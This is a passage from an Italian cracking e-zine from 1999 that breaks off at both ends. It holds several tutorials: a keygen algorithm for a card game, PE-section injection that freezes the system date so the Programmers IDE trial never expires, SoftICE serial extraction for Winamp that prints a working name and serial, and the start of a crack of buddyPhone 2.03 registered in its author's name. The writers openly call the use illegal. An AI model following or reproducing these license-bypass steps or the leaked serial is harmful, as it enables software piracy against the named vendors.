contiene la somma di queste due moltiplicazione e viene passato Val3 come parametro alla funzione di controllo, che naturalmente spiego pi avanti... comunque sappiate che codesta funzione di controllo restituisce un numero, che chiamer Div' per Val3 e Div'' per Val6. Val4 = [Array''+2]*[Array'] Val5 = [Array''+3]*[Array'+1] Val6 = Val5+Val4 Come vi ho spiegato su anche Val6 viene passato alla funzione di controllo che ci dar in ritorno un Valore che chiameremo Val6! Sar!!! La funzione di controllo: Questa funzione di controllo utilizza il valore passato e lo memorizza in una variabile interna che per comodit chiamer Var1. All'interno di tale funzione incontreremo un numero fisso, che non cambia mai, 1Ahex o anche 26dec (non 26 dicembre, 26decimale!) Var1 viene diviso per 26 e il risultato viene mandato a farsi benedire!! ?? Che cosa vi starete domandando! Infatti l'autore ha ben pensato di prendere il resto... infatti si tratta di operazione tra interi e quindi numeri privi di mantissa (per chi fosse a corto di codesti termini sappia che la mantissa non altro che quella parte che si viene a trovare a destra della virgola, o del punto, in base alle vostre consuetudini!) Ora che cosa viene fatto al resto ? Semplice ... se minore di 0... che cosa il resto minore di 0 ???? Ma che cazzo stai a dire!!! boooo eppure funziona... che cazzo ne so io, io ho ritradotto il codice apportando una piccola correzione.... comunque ritornando a noi.... Resto > 0 ... ci viene ritornato come valore! Resto < 0 Resto + 26 ci viene ritornato come valore! Resto = 0 ?? BOOOOOOOOOOOOOOOO non ne ho la pi pallida idea!! Io mi sono limitato a interpretare a modo mio la funzione, non a fare da a'lfa e eta tester all'autore... Ora i due resti, Div' e Div'' vengono addizionati a 64 e andranno a costituire parte della chiave.... Il tutto viene ripetuto per un numero di volte pari alla met della lunghezza della Username, in quanto come vi ho detto viene elaborata in due codici alla volta! Ora per devo far notare un piccolo errore!! 004040BE push 100h 004040C3 lea eax, [ebp+var_210] 004040C9 push eax 004040CA mov ecx, dword_4147C8 004040D0 add ecx, 0FCh 004040D6 call sub_401160 Ecco questa call non l'ho mai controllata ma secondo me ricontrolla il codice... infatti io ho notato un strano errore nel processo.. sar colpa mia o del programmatore ? Provate ad inserire un nome in cui due consonanti o due vocali identiche si vengano a trovare nella stessa word ovvero che siano rispettivamente la prima dispari e la seconda pari... mi spiego meglio: RA FF AE LL A CA RR AX -- -- -- Vi starete domandando... che cazzo c'entra la Carr... centra centra non vi preoccupate, dato che la signorina possiede un nome con ben 3 gruppi di consonanti uguali l'algoritmo di generazione dei codici ci ritorner in codesti 3 punti 3 bei gruppi di 0 e quindi ci ritroveremo con un codice di registrazione non valido... infatti avremo in corrispondenza di queste lettere 3 serie di '@@'. A quasi dimenticavo.... il programma vuole una keyword lunga quanto il valore len_username. Ora se eseguite il programma passo passo in corrispondenza di codesti gruppi troverete indovinate un p al posto di @@ ?? Secondo voi ?? Non ci credereste mai!! Infatti trovate proprio le lettere non modificate! quindi FF LL e RR!!! Che delusione ;( non meritava manco che ci spendessi sopra 5min per trovarmi il mio seriale e 1ora per capire l'algo... sar lento io o sar inteligente il programmatore ? 004040DB lea eax, [ebp+var_310] 004040E1 lea ecx, [ebp+var_210] Ecco un altro fatidico frammento di codice!!!!! Che cosa fa ? bene in eax ci trovate il vostro mitico numero di registrazione ... non l'esatto ma quello che voi avete messo! Provate a battere d eax e lo troverete... e in ecx il seriale esatto costituito da una massa di lettere in maiuscolo!! Ora non vi basta quindi che scrivere d ecx ed ecco a voi il vostro bel codice ...... infatti le istruzioni sotto lo controllano ;) 004040E7 loc_4040E7: 004040E7 mov dl, [eax] 004040E9 cmp dl, [ecx] 004040EB jnz short loc_404107 ; Non sono uguali ? bye bye!!! ; Sono uguali ! bye bye protezione!!! 004040ED or dl, dl 004040EF jz short loc_404103 004040F1 mov dl, [eax+1] 004040F4 cmp dl, [ecx+1] 004040F7 jnz short loc_404107 004040F9 add eax, 2 004040FC add ecx, 2 004040FF or dl, dl 00404101 jnz short loc_4040E7 Ok codesto articolo terminato... passiamo alla parte finale! Se siete appassionati giocatori di tressette e sarete interessati ad usare questo programma, beh non so che dirvi... buon divertimento!!! Per quanto riguarda il generatore di codici di registrazione, spero di essere stato quanto pi chiaro sia possibile! Troverete allegato, sempre se N0BODY lo riterr opportuno, il generatore pronto all'uso... scritto in linguaggio C altrimenti mi sarei dovuto addormentare! Non riporto il codice perch mi sembra una politica scorretta... cos voi piazzate il vostro nome e passa pure che l'avete scritto voi... Ok ora passo a quanto ci ho perso su questo programma... sul mIRC che spero avrete apprezzato ci ho messo circa 2 pomeriggi a capire... su questo invece 5min a trovarmi la mia password, 1ora a capire l'algo, un'altra ora per scrivere il keymaker testando il programma e 2 ore a scrivere il tute.... vabb se non l'avessi scritto solo un paio d'ore... ma lasciamo stare! Consumazioni: Mezzolitro di acqua e 2 bicchierini di VODKA ai frutti di bosco (l'unica che ho trovata in casa... anzi non ho guardato se c'era grappa.. preferisco di gran lunga la grappa). Ringraziamenti: }^CoBrA^{ che mi ha chiesto di crackare il programma.... Mr. Gima che c'ha rotto le scatole chiedendo il keymaker N0bodY88 che pubblica questo articolo... + l'intervista che ci ha fatto ieri sera.. ;) LETHALMIND per avermi fatto capire come funziona il zozzo di Windows (... sto sfornando un virus semplice semplice che dovrebbe funzionare su 95, 98, NT e forse pure il WIN2000) Saluti: Johnny, [alt255], WarFelix, War^Web, eXceptiON HandlER, Artiglio LanDLorD, Mr. Gima, tutti i frequentatori di #crack-it #programmazione, ZioFill perch tiene secondo me sogni assurdi, tipo la sua ultima idea per gestire il modem (poi ti spiego meglio il DTR o Data Terminal Ready... per in chat non in ICQ!) e il suo progetto folle di un virus che intercetti la parola "scuola" sul pc... ;) , spd o meglio iodio, warcat e tutti quegli altri che mi conoscono o che ho conosciuto e di cui non ricordo il nome... o il discorso che abbiamo fatto l'ultima volta! Per qualsiasi informazioni potrete mandarmi una mail a cod@gurlmail.com mi potrete contattare su ICQ, comunque il numero non ve lo do qui! Un'ultima nota prima di concludere: questo non il pi deficente... WinAmp peggio e buddyPhone peggio ancora.. ma su buddyPhone un giorno forse ve ne parlo. NOTA: IO cod NON MI ASSUMO NESSUNA RESPONSABILITA' PER LE PERDITE CHE VOLONTARIAMENTE E INVOLONTARIAMENTE CAUSO ALL'AUTORE DEL SOFTWARE... PURTROPPO SEI CAPITATO TU MA POTEVA ESSERE UN'ALTRO... MAGARI UN TUO CONCORRENTE... INOLTRE NON MI ASSUMO LA RESPONSABILITA' PER EVENTUALI STRONZATE CHE POTRETE COMMETTERE NEL TENTATIVO DI CRACKARE IL PROGRAMMA SEGUENDO QUESTO ARTICOLO. IL TUTTO E' FATTO ALLO SCOPO DI FAR ENTRARE NELLA VOSTRA SCATOLA CRANICA QUALCHE CONOSCENZA DEL PC IN PIU'. Musica ascoltata durante le varie fasi: Marilyn Manson - Mechanical Animals !!!!! MITIKOOOOO CERCO GLI ALTRI 3 ALBUM! Metallica - Master of Puppets Metallica - Reload Metallica - Ride the lightning p.s. se vi state domandando perch ascolto questi album vi rispondo subito! So gi mezzo fuso, forse l'avrete potuto notare, ma in ogni caso se resto davanti a SoftICE senza ascoltare sta musica mi rincoglionisco! Quindi se dovete crackare fate quanto segue: Liquore, vino o birra per capire meglio Musica rumorosa, per far restare il vostro cervello in funzione altrimenti uscite dalle sessione di SICE come delle larve! Io compreso!! [x] ringZ3r0 Proudly Presents [x] +-----------------------------------------------------------+ Come inserire una nuova sezione e una nuova funzione in un PE by Pusillus 19 aprile 1999 ------------------------------------------------------------------------------ LE INFORMAZIONI CHE TROVATE ALL'INTERNO DI QUESTO FILE SONO PER PURO SCOPO DIDATTICO. L'AUTORE NON INCORAGGIA CHI VOLESSE UTILIZZARLE PER SCOPI ILLEGALI. ------------------------------------------------------------------------------ Quello che viene presentato in questo tute e' uno studio su come intercettare le funzioni che interrogano il sistema sulla data (GetSystemTime e GetLocalTime) in modo da reindirizzare tali chiamate verso una routine dummy che restituisce sempre la stessa data ed ora. Dato che molti programmi shareware hanno un periodo di scadenza e dopo un certo tempo diventano inutilizzabili, se fosse restituita sempre la stessa data il programma non raggiunggerebbe mai la scadenza. In realta' bisogna dire che questo sistema non e' sempre applicabile. Ad esempio in un programma tipo agenda o calendario se restituissimo sempre la stessa data e ora questi diventerebbero inutilizzabili. Ma quello che e' interessante, a mio avviso, e' la sostituzione di una funzione con un altra fatta da noi e l'aggiunta di una nuova sezione di codice. Questa tecnica potrebbe essere utilizzata in tante altre occasioni, le funzioni GetSystemTime e GetLocalTime sono state prese solo come spunto per un esempio pratico. I passi fondametali che seguiremo sono: 1) Aggiunta di una nuova sezione al file eseguibile PE e aggiornamento del l'header: il piu delle volte alla fine della sezione .text c'e' abbastanza spazio per aggiungere qualche linea di codice asm ma non sempre e' sufficente per i nostri scopi. Anche nel programma che ho preso come target la routine sarebbe comodamente entrata alla fine della sezione .text, ma e' stata comunque aggiunta una nuova sezione. 2) scrittura della dummy routine nella nuova sezione appena creata. 3) dirottamanto delle funzioni GetsystemTime e GetLocaltime verso la nostra routine. Il programma che ho scelto come target e' lo stesso per il quale avevamo fatto un keygen: Programmers IDE. Se il programma risulta registrato potrete agevolmente cancellare la registrazione con il Regedit. Per prima cosa dobbiamo incrementare le dimensioni dell'eseguibile aggiungendo alcuni bytes in coda al file. Con HIEW in modalita' HEX spostiamoci alla fine del file, andando in edit mode sara possibile aggiungere dei bytes, nell'esempio io ho aggiunto 128 bytes digitando tutti zeri. A questo punto bisogna fare e' una modifica all'header del file PE per aggiungere una nuova sezione: con HIEW apriamo il file project.exe e settiamo la modalita' HEX, dopo la signature per il dos sara' possibile notare i caratteri "PE" che indicano l'inizio dell'header PE (SIGNATURE BYTES), se ci spostiamo di 7 bytes saremo dentro la sezione "# OBJECTS" per aggiungere una nuova sezione bastera incrementare questo valore di 1. +-------------------------------------------------------+ SIGNATURE BYTES CPU TYPE # OBJECTS <------ +---------------------------+--------------------------- TIME/DATE STAMP RESERVED +---------------------------+--------------------------- RESERVED NT HDR SIZE FLAGS +---------------------------+--------------------------- RESERVED LMAJORLMINOR RESERVED +---------------------------+--------------------------- RESERVED RESERVED +---------------------------+--------------------------- ENTRYPOINT RVA RESERVED +---------------------------+--------------------------- RESERVED IMAGE BASE +---------------------------+--------------------------- OBJECT ALIGN FILE ALIGN +---------------------------+--------------------------- OS MAJOR OS MINOR USER MAJOR USER MINOR +-------------+-------------+--------------------------- SUBSYS MAJOR SUBSYS MINOR RESERVED +---------------------------+--------------------------- IMAGE SIZE HEADER SIZE +---------------------------+--------------------------- FILE CHECKSUM SUBSYSTEM DLL FLAGS +---------------------------+--------------------------- STACK RESERVE SIZE STACK COMMIT SIZE +---------------------------+--------------------------- HEAP RESERVE SIZE HEAP COMMIT SIZE +---------------------------+--------------------------- RESERVED # INTERESTING RVA/SIZES +---------------------------+--------------------------- EXPORT TABLE RVA TOTAL EXPORT DATA SIZE +---------------------------+--------------------------- IMPORT TABLE RVA TOTAL IMPORT DATA SIZE +---------------------------+--------------------------- RESOURCE TABLE RVA TOTAL RESOURCE DATA SIZE +---------------------------+--------------------------- EXCEPTION TABLE RVA TOTAL EXCEPTION DATA SIZE +---------------------------+--------------------------- SECURITY TABLE RVA TOTAL SECURITY DATA SIZE +---------------------------+--------------------------- FIXUP TABLE RVA TOTAL FIXUP DATA SIZE +---------------------------+--------------------------- DEBUG TABLE RVA TOTAL DEBUG DIRECTORIES +---------------------------+--------------------------- IMAGE DESCRIPTION RVA TOTAL DESCRIPTION SIZE +---------------------------+--------------------------- MACHINE SPECIFIC RVA MACHINE SPECIFIC SIZE +---------------------------+--------------------------- THREAD LOCAL STORAGE RVA TOTAL TLS SIZE +-------------------------------------------------------+ Il prossimo passo e' quello di aggiungere una nuova entry nella "object table" per assegnare alla nuova sezione un nome, una VistualSize, un RVA, una PhisycalSize un Offset, e i flags: la "object table" e' situata immediatamente dopo l'header pe infatti spostandoci con hiew sotto l'header si potranno notare i nomi delle varie sezioni : .text, .rdata, .data, ecc. +-------------------------------------------------------+ OBJECT NAME +------------------------------------------------------- VIRTUAL SIZE RVA +---------------------------+--------------------------- PHYSICAL SIZE PHYSICAL OFFSET +---------------------------+--------------------------- RESERVED RESERVED +---------------------------+--------------------------- RESERVED OBJECT FLAGS +-------------------------------------------------------+ Come e' possibile notare dalla tabella ogni entry e' composta di 40 byes bisognera' quindi spostarsi di di 40 bytes dall'ultima sezione, nel nostro caso .reloc, e iniziare ad assegnare le proprieta alla nostra nuova sezione: OBJECT NAME: il nome che ho scelto di assegnare e' ".pippo", un classico! :)) VIRTUAL SIZE: indica al loader quanta memoria deve essere allocata per il caricamento dell'object, per non sbagliarmi io ho messo il numero dei bytes aggiunti all'eseguibile : 80h. RVA : rappresenta l'ndirizzo a cui e' relocato l'object relativamente alla Image Base. se in modalita HEX con HIEW premiamo F8 compariranno varie informazioni sul PE-header tra queste ci sara anche "Image Base 00400000", premendo ora F6 comparira' la tabella delle sezioni: +-Number Name VirtSize RVA PhysSize Offset Flag---+ 1 .text 00021754 00001000 00021800 00000400 60000020 2 .rdata 00000988 00023000 00000A00 00021C00 40000040 3 .data 00016920 00024000 00007C00 00022600 C0000040 4 .idata 0000165E 0003B000 00001800 0002A200 C0000040 5 .rsrc 0000D1FC 0003D000 0000D200 0002BA00 40000040 6 .reloc 000029C8 0004B000 00002A00 00038C00 42000040 +-------------------------------------------------------------+ sulla colonna degli RVA ci sono tutti gli indirizzi virtuali relativi alla Image Base. Se sommiamo l'RVA dell'ultima sezione (.reloc) con la sua Phisical Size otteniamo l'ultima posizione occupata dalla sezione: 4b000+2a00 = 4da00. Da questo valore possiamo ricavare un RVA per la nostra nuova sezione che dovra' essere > 4da00, nel mio esempio ho scelto il valore 4e000. PHYSICAL OFFSET: non sarebbe altro che l'indirizzo assoluto dall'inizio del file. spostiamoci con HIEW sull'ultimo byte della sezione .reloc (0044d9ff) premiamo ALT-F1 e otteremo l'indirizzamento globale. l'offset della nuova sezione si trova all'indirizzo 003b600. OBJECT FLAGS: questa nuova sezione dovra avere le caratteristiche: __Code object, __Executable object, __Readable object. Le stesse della sezione .text : 60000020h. Questa e' una schermata di hiew con le modifiche apportate alla object table: 00000240: 2E 72 65 6C-6F 63 00 00-C8 29 00 00-00 B0 04 00 .reloc +) _ 00000250: 00 2A 00 00-00 8C 03 00-00 00 00 00-00 00 00 00 *  00000260: 00 00 00 00-40 00 00 42-2E 70 69 70-70 6F 00 00 @ B.pippo 00000270: 80 00 00 00-00 E0 04 00-80 00 00 00-00 B6 03 00 + _ +  00000280: 00 00 00 00-00 00 00 00-00 00 00 00-20 00 00 60 ` A questo punto la nuova sezione dovrebbe essere presente, se chiudiamo e riapriamo il file con hiew la object table dovrebbe apparire cosi': +-Number Name VirtSize RVA PhysSize Offset Flag---+ 1 .text 00021754 00001000 00021800 00000400 60000020 2 .rdata 00000988 00023000 00000A00 00021C00 40000040 3 .data 00016920 00024000 00007C00 00022600 C0000040 4 .idata 0000165E 0003B000 00001800 0002A200 C0000040 5 .rsrc 0000D1FC 0003D000 0000D200 0002BA00 40000040 6 .reloc 000029C8 0004B000 00002A00 00038C00 42000040 7 .pippo 00000080 0004E000 00000080 0003B600 60000020 +-------------------------------------------------------------+ Un'ultima cosa da fare e' quella di modificare nell'header il valore della Image Size sommandogli il valore della VirtualSize della nuova sezione altrimenti sotto NT il programma non girerebbe: 04e000 + 80 = 04e080. La prima parte del lavoro e' completata, adesso bisogna implementare la funzione che andra' a sostituire GetSystemTime e GetLocalTime nella nuova sezione appena creata: Il parametro che viene passato alle funzioni e' un puntatore ad una struttura di tipo SYSTEMTIME: typedef struct _SYSTEMTIME { // st WORD wYear; WORD wMonth; WORD wDayOfWeek; WORD wDay; WORD wHour; WORD wMinute; WORD wSecond; WORD wMilliseconds; } SYSTEMTIME; non bisogna far altro che scrivere qualche riga di asm per riempire i campi della struttura con dei valori falsi: .0044E000: 55 push ebp .0044E001: 8BEC mov ebp,esp .0044E003: 57 push edi .0044E004: 8B7D08 mov edi,[ebp][00008] ; puntatore alla struttura .0044E007: 66C74700CC07 mov w,[edi][00000],007CC ; wYear = 1996 .0044E00D: 66C747060100 mov w,[edi][00006],00001 ; wDay = 01 .0044E013: 66C747020100 mov w,[edi][00002],00001 ; wMonth= 01 .0044E019: 66C747080200 mov w,[edi][00008],00002 ; wHour = 02 .0044E01F: 66C7470A0300 mov w,[edi][0000A],00003 ; wMinute=03 .0044E025: 66C7470C0400 mov w,[edi][0000C],00004 ; wSecond=04 .0044E02B: 31C0 xor eax,eax .0044E02D: 40 inc eax .0044E02E: 5D pop ebp .0044E02F: 5F pop edi .0044E030: C20400 retn 00004 Ora non rimane altro che andare a cercare le call alle funzioni in oggetto e sostituirle con delle call alla nuova funzione. Nel programma che ho preso in esame c'erano due sole call: .004188CC: FF15C4B54300 call GetLocalTime ;KERNEL32.dll .004188D2: 8D4C2404 lea ecx,[esp][00004] .004188D6: 51 push ecx .004188D7: FF1504B64300 call GetSystemTime ;KERNEL32.dll .004188DD: 668B0D7A2C4300 mov cx,[000432C7A] Bisognera calcolare l'offset a cui punta la call rispetto alla istruzione successiva, quindi nel caso della prima call 44E000 - 4188D1 = 03572F e per la seconda 44E000 - 4188DC = 035724 : .004188CC: E82F570300 call .00044E000 .004188D1: 90 nop .004188D2: 8D4C2404 lea ecx,[esp][00004] .004188D6: 51 push ecx .004188D7: E824570300 call .00044E000 .004188DC: 90 nop Il programma adesso dovrebbe essere sempre in trial, infatti la versione originale dopo 30 giorni da una messagebox di avvertimento che il periodo di prova e' scaduto e la splash screen che si presenta all'avvio dura parecchio tempo, con la versione modificata sarete sempre dentro i 30 giorni della trial :)) Bibliografia: "PORTABLE EXECUTABLE FORMAT" Micheal J. O'Leary (sulla rete) "The PE file format" B. Luevelsmeyer (sulla rete) "il tute di killexx sui crypter" Killexx (Ringzer0) Ringraziamenti: a Killexx che e' sempre disponibile a dare spiegazioni :) Insano che ci sopporta. Malattia anche se e' un po che non lo sento :( A tutti gli altri membri di RingZer0, anche se purtroppo non ho mai occasione di parlare con loro :( Pusillus. NOTA BY N0bodY88 = un tnx particolare va ai membri di Ring0 x averci dato il permesso di poter pubblicare tale tut sulla ns e-zine e ovviamente un grosso ringraziamento va anke a Pusillus x averci dato lui stesso il primo via libera alla pubblicazio ne. Che dire... complimenti a Pusillus e a tutti quelli di Ring0 che sono dei fari nella notte buia di questa scena italiana assieme ad altri miti quali Xoanon, +Malattia, il tuttofare \sPIRIT\, Quequero, tutti i frequentatori del canale #crack-it e della mitica UIC. ͻ Ŀ DIAMO I NUMERI CON WINAMP ٺ ͼ Autore: Johnny Titolo: Diamo i numeri con Winamp (cod> me li posso giocare al lotto ?) Target: Winamp 2.x (www.nullsoft.com cod> qualsiasi cd in edicola...) Difficolt: LIVELLO 2 (... mi sembra che alla nullsoft non si diano tanto da fare contro la pirateria ... ) NOTA: ove incontrerete la scritta cod> saranno commenti di cod.. che revisione l'articolo per pubblicarlo all'insaputa dell'autore :) TOOLS: Soft Ice 3.x DISCLAIMER LE INFORMAZIONI CONTENUTE ALL'INTERNO DI QUESTO DOCUMENTO SONO SOLO A FINI DIDATTICI, NON INCORAGGIO CHI VOLESSE UTILIZZARLI PER ALTRI SCOPI. NON MI ASSUMO RESPONSABILITA' SE VI SCASSATE I PROGRAMMI. cod> Se non avete capito bene il disclaimer ve lo spiego meglio io.... cod> Le informazioni contenute qui sono a scopo didattico ma il loro cod> uso sar in ogni caso illegale... quindi non fateci caso... cod> sono le solite fesserie che un autore dovrebbe scrivere per dire alla cod> comunit che lui non ha visto niente in quanto non c'era e se c'era cod> dormiva.... :) cod> Comunque buon Winamp registrato a tutti! In questo tutorial vedremo come estrarre un numero di registrazione dal Winamp (volete che vi spieghi cos? No, lo sanno tutti!). Per adesso lasceremo da parte il crack vero e proprio perch un po difficilino (anche da spiegare). cod> si potrebbe ricavare un'altro articolo da come genera il seriale cod> ma il nostro Johnny non vuol essere cos buono... vi tocca cod> farlo da soli, quindi armatevi di santa pazienza e di Soft ICE. Ok, mettiamo Soft Ice in memoria, installiamo il nostro bel programmino, prendiamo qualcosa da bere (coca-cola, martini o ???) e qualcosa da magn OOOH MA VI DEVO DIRE TUTTO IO???? cod> non fate caso... Johnny tende ad alzare il gomito... :) - - - LET THE SHOW BEGIN - - - Bene, ora avviamo Winamp.exe; click di destra sul Winamp, Shareware|Enter registration info. Mettiamo un nome (io metto JoHnNy) e un numero (io metto 112233). Notiamo che non possiamo clickare sul bottone Ok; perfetto il tutorial finito, alla prossima! cod> di gi ? ... lo facevo pi lunghetto :( Hey Hey stavo scherzando, ripetiamo l'operazione: mettiamo il nome, il numero, ctrl+D e settiamo un breakpoint su getdlgitemtexta (per chi non lo sapesse si deve scrivere bpx getdlgitemtexta). Ora aggiungiamo un altro numero (ad esempio 4, cosi' il numero sara' 1122334), a questo punto il SoftIce dovrebbe poppare. Premiamo F11 per uscire dalla call, dovremmo trovarci qui: cod> per chi non lo sapesse GetDialogItemTextA legge da un box il testo cod> inserito... consultate le WinAPI se volete avere info maggiori. :00401eb9 push 00 :00401ebb push 00 :00401ebd push ebx :00401ebe push edi :00401ebf call [USER32!GetDlgItemInt] Prima di inziare a scazzafugliare nel codice, diamo uno sguardo ai registri: in eax troviamo la lunghezza del nome inserito (per credere scrivete ? Eax); ora premiamo F10 (trace) fino a quando arriviamo qui: :00401ec5 mov esi,eax <-- Mette in eax il numero inserito :00401ec7 lea eax,[ebp-80] Scriviamo ? eax e vedremo il numero che abbiamo inserito; Steppiamo (F8) una volta sola fino ad arrivare a: :00401eca push eax <-- Schiaffa il nostro nome in eax :00401ecb call 00425c01 <-- Chiamata alla routine che genera il numero esatto Scriviamo d eax per vedere il nome; continuiamo a steppare fino a: :00401ed0 cmp eax,esi <-- Confronta il nostro numero con quello giusto :00401ed2 pop ecx :00401ed3 jnz 00401edf <-- Va a 00401edf se il numero sbagliato Scriviamo quindi ? eax per vedere il nostro vero numero di registrazione, bc * per annullare il breakpoint che avevamo settato; ora mettiamo il numero di registrazione corretto et voil, il Winamp registrato e noi non abbiamo modificato neanche una virgola di codice!!! cod> semmai manco un byte... perch le virgole stanno nel sorgente... cod> da quanto ho potuto osservare non ne ho viste virgole.... Stavolta il tutorial davvero finito. Spero che abbiate imparato qualcosa di nuovo e soprattutto di utile. Ringrazio cod per i suoi consigli, per gli aiuti e per la gentilezza nell'assistermi in tutti i miei progetti (NON TI MONTARE LA TESTA PERO'). Saluto tutti i membri del gruppo e-ViP e quel pazzo di }Zu{L}u{ CIAO!. cod> NON MI MONTO LA TESTA... ASSISTENZA ? HAI CHIAMATO AL TELEFONO E NON cod> HO CAPITO UN CAZZO DI QUELLO CHE STAVI DICENDO... COMUNQUE POI QUANDO cod> HAI DETTO CHE ERA WINAMP MI SONO MESSO PURE IO ALLA RICERCA DEL MIO cod> NUMERO. cod> Comunque faccio notare ai lettori che se non erro la nullsoft abbia cod> messo in circolazione Winamp gratis a partire dalla 2.50... cod> cod> Dato che forse molti di voi non hanno dimistichezza con l'assembler cod> e non avrete di sicuro SoftICE vi riporto qui un numero per un nome... cod> Nome: Antonio cod> S.N.: 45574006 cod> Per qualsiasi protesta fate riferimento a Johnny.. non venite a rompere cod> a me... cod> Ciao a tutti! ͻ Ŀ BUDDYPHONE 2.03 CRACKING ٺ ͼ Autore: cod/e-ViP Oggetto: buddyPhone 2.03 Data: 14 Ottobre 1999 e-mail: cod@gurlmail.com Musica ascoltata: Metallica - Master of Puppets - Load - Ride the Lightning - Reload - Garage, Inc. Obiettivo: Per il momento ci troveremo il key di registrazione, poi si vedr ;) buddyPhone per chi non lo conoscesse una semplice utilit che vi permette di dialogare in tempo reale con un vostro amico (o amica) usando semplicemente INTERNET. La condizione necessaria affinch questo avvenga che entrambi gli utenti abbiano abilitato buddyPhone, che siano collegati alla rete e che abbiano un buon modem per scambiare le informazioni in modo veloce. Allora vediamo innanzitutto di procurarci il programma, lo potrete scaricare dalla rete dall'indirizzo http://www.pfluger.de/buddyphone2 o pi semplicemente lo trovate allegato ad un qualsiasi CD di tutte quei giornali che parlando di informatica (leggi PC Magazine, Pc Floppy+Magazine, Pc World, Pc Action, inter.net, Computer Magazine, Gigabyte (lo pubblicano ancora ? boooo) e pi ne avete pi ne mettete!). Installato il programma avviamolo... ci compare una belle finestra in alto a sinistra sul monitor, e in alto a questa finestra la pubblicit!! In poche parole questo programma si finanzia se voi non lo comprate trasferendovi pubblicit e magari dati dal server!!! O viceversa... lui trasferisce i vostri dati.... Insieme a questa bella pubblicit troveremo un pulsanto, che ci recita 'Enter license Key...' in poche parole COMPRATELO SE LO USI! Ok... lo voglio comprare!!! Quanto costa ? Non me lo dice... mi dice solo di collegarmi al sito http://www.pfluger.de/buddyphone2/buy.html ... ma approposito... io non ho la carta di credito... quindi mi sa tanto che non lo posso comprare... vabb ci rinuncio a comprarlo ma lui quella fottuta finestra la deve fare sparire! Non la deve fare sparire... sparir!!! Come ancora non ho deciso... se vi spiego a fregare il seriale oppure nel mio cervello bacato mi viene l'idea di fare un keymaker (... ora le proposte sono le seguenti: Johnny vuole sapere come si prende il seriale, il mio vicino di casa mi ha chiesto di fare il keymaker... sono indeciso...). Allora per incominciare accontentiamo Johnny... clickiamo su Enter license key... e vediamo cosa ci chiede: First name, Last name, License key... Allora vediamo un p, allora come mi chiamo ? Antonio... ok questo lo so e voi l'avrete capito pure.. quindi il primo dato passato... seconda voce... Last name... kazz!! Il mio cognome... e mika ve lo posso dire a voi, gi non so se manco m'e' scappata na denuncia al tribunale (ho avuto la bella idea insieme a LanDLorD di chiamare l'autore di un programma che avevo crackato, ma dico io mi potevo fare i kazzi miei!) quindi inventeremo un cognome fittizio... vabb ho capito... non me ne vengono in mente di cognomi assurdi... ok allora che facciamo ? Semplice, lo registriamo a nome dell'autore!!! Si si proprio a nome di Henrik Pfluger, cos impara a non rompere il kazzo con la pubblicit gratuita!! Poi pi tardi vado a dare un'occhiata al suo sito... vedo cosa ci posso rimediare di utile per me ;) Allora inseriamo Henrik Pfluger e leggiamo nella nota di ricordarsi anche il product ID che viene messo in evidenza! 00010000 il solito su tutti i pc... vabb ma non importa... ci mettiamo un bel numero di serie.... diciamo che stavolta ho scelto 1638... perch sto numero ? Proviamo a convertire 1638 in esadecimale.. cosa ci viene ? 666h ;) LA BESTIA di quel programmatore che mi dice clickando su ok che se ho inserito i dati esatti devo contattare l'assistenza perch avr sbagliato qualcosa!! No bello mio, hai sbagliato tu a trovarti sul pc dei miei 2 amici... hai finito di rompere il kazzo con la pubblicit!! Ok... il momento di entrare in azione con gli strumenti del diavolo (SoftICE e Interactive Disassembler). Innanzitutto disassembliamo con IDA il programma! (... dato che IDA per i miei gusti ci sta mettendo un p di tempo a creare il codice.. io prendo una birra da bere.. voi fate quello che vi pare!) ... Ora abbiamo il disassemblato, SoftICE alla mano settiamo i soliti breakpoint... allora ma leggiamo un'attimo il rapporto iniziale di IDA... Leggo vc32mcf... il che significa routine standard e quindi per leggere il testo sto bastardo usa GetWindowTextA... settiamo un bel breakpoint sulla funzione e vediamo un p.... ... Clickiamo sul pulsante di registrazione e saremmo in SoftICE... ok allora vediamo un p... premiamo F12 e ci ritroveremo fuori dalla libreria di Windows, e saremo dentro il codice di buddyPhone!!! Precisamente in questa porzione di codice!!! 004406F4 call ds:GetWindowTextA ... qui ora l'abbiamo saltata.. 004406FA mov ecx, [ebp+arg_8] 004406FD push 0FFFFFFFFh 004406FF call sub_43C03C 00440704 jmp short loc_440711 Allora il programma qui salta per forza, il che significa che ha letto! 00440706 loc_440706: 00440706 mov eax, [ebp+arg_8] 00440709 push dword ptr [eax] 0044070B push esi 0044070C call sub_440291 00440711 00440711 loc_440711: 00440711 pop edi 00440712 pop esi 00440713 pop ebp 00440714 retn 0Ch Ok arrivati a retn 0Ch premendo F10 ci ritroveremo qui.. in questo punto di codice: 00412824 call sub_4406C5 00412829 lea edx, [esi+104h] Noi ci ritroviamo precisamente su 00412829... ho riportato anche l'istruzione precedente per farvi notare una cosa... infatti se porgete la vostra attenzione sulle call ne troverete 3 alla stessa locazione!!! Il che significa che il programmatore un patito di codice C++... infatti i compilatori C++ riutilizzano il codice al meglio.. Sto disgraziato arrivato a crearsi delle funzioni per recuperare i testi.. quando poteva invocare direttamente l'API di Windows.... povero stupido... un illuso!!! 0041282F push edx 00412830 push 3F7h 00412835 push edi 00412836 call sub_4406C5 0041283B add esi, 108h 00412841 push esi 00412842 push 3F9h 00412847 push edi 00412848 call sub_4406C5 0041284D pop edi 0041284E pop esi 0041284E sub_412800 endp Qui la funzione termina.... e noi ci ritroveremo in diverse funzioni. Noteremo come il nostro bell'offset da 41284E salti eseguendo lo step del codice in 439F07 fino ad arrivare a 4129F5! 004129F5 lea ebp, [esi+104h] Ora noi ci ritroviamo qui... precisamente qui... e noterete che il listato assembly lunghetto... considerando che ancora non abbiamo raggiunto il nostro scopo primario!!! Quello di fregarci il codice di registrazione!! 004129FB lea ecx, [esp+3Ch+var_18] 004129FF push ebp 00412A00 call sub_43B97E 00412A05 lea ebx, [esi+108h] 00412A0B xor edi, edi 00412A0D push ebx 00412A0E lea ecx, [esp+40h+var_1C] 00412A12 mov [esp+40h+var_4], edi 00412A16 call sub_43B97E 00412A1B lea eax, [esi+100h] 00412A21 lea ecx, [esp+3Ch+var_28] 00412A25 push eax 00412A26 mov byte ptr [esp+40h+var_4], 1 00412A2B call sub_43B97E 00412A30 lea ecx, [esp+3Ch+var_18] 00412A34 mov byte ptr [esp+3Ch+var_4], 2 00412A39 call sub_43C0BF 00412A3E lea ecx, [esp+3Ch+var_1C] 00412A42 call sub_43C0BF Fino a qui abbiamo eseguito tutto.. ora per la nostra attenzione deve ricadere su questa sequenza di codice.. dove incontremo il primo cmp che affronteremo. 00412A47 push 2Dh 2Dh ... 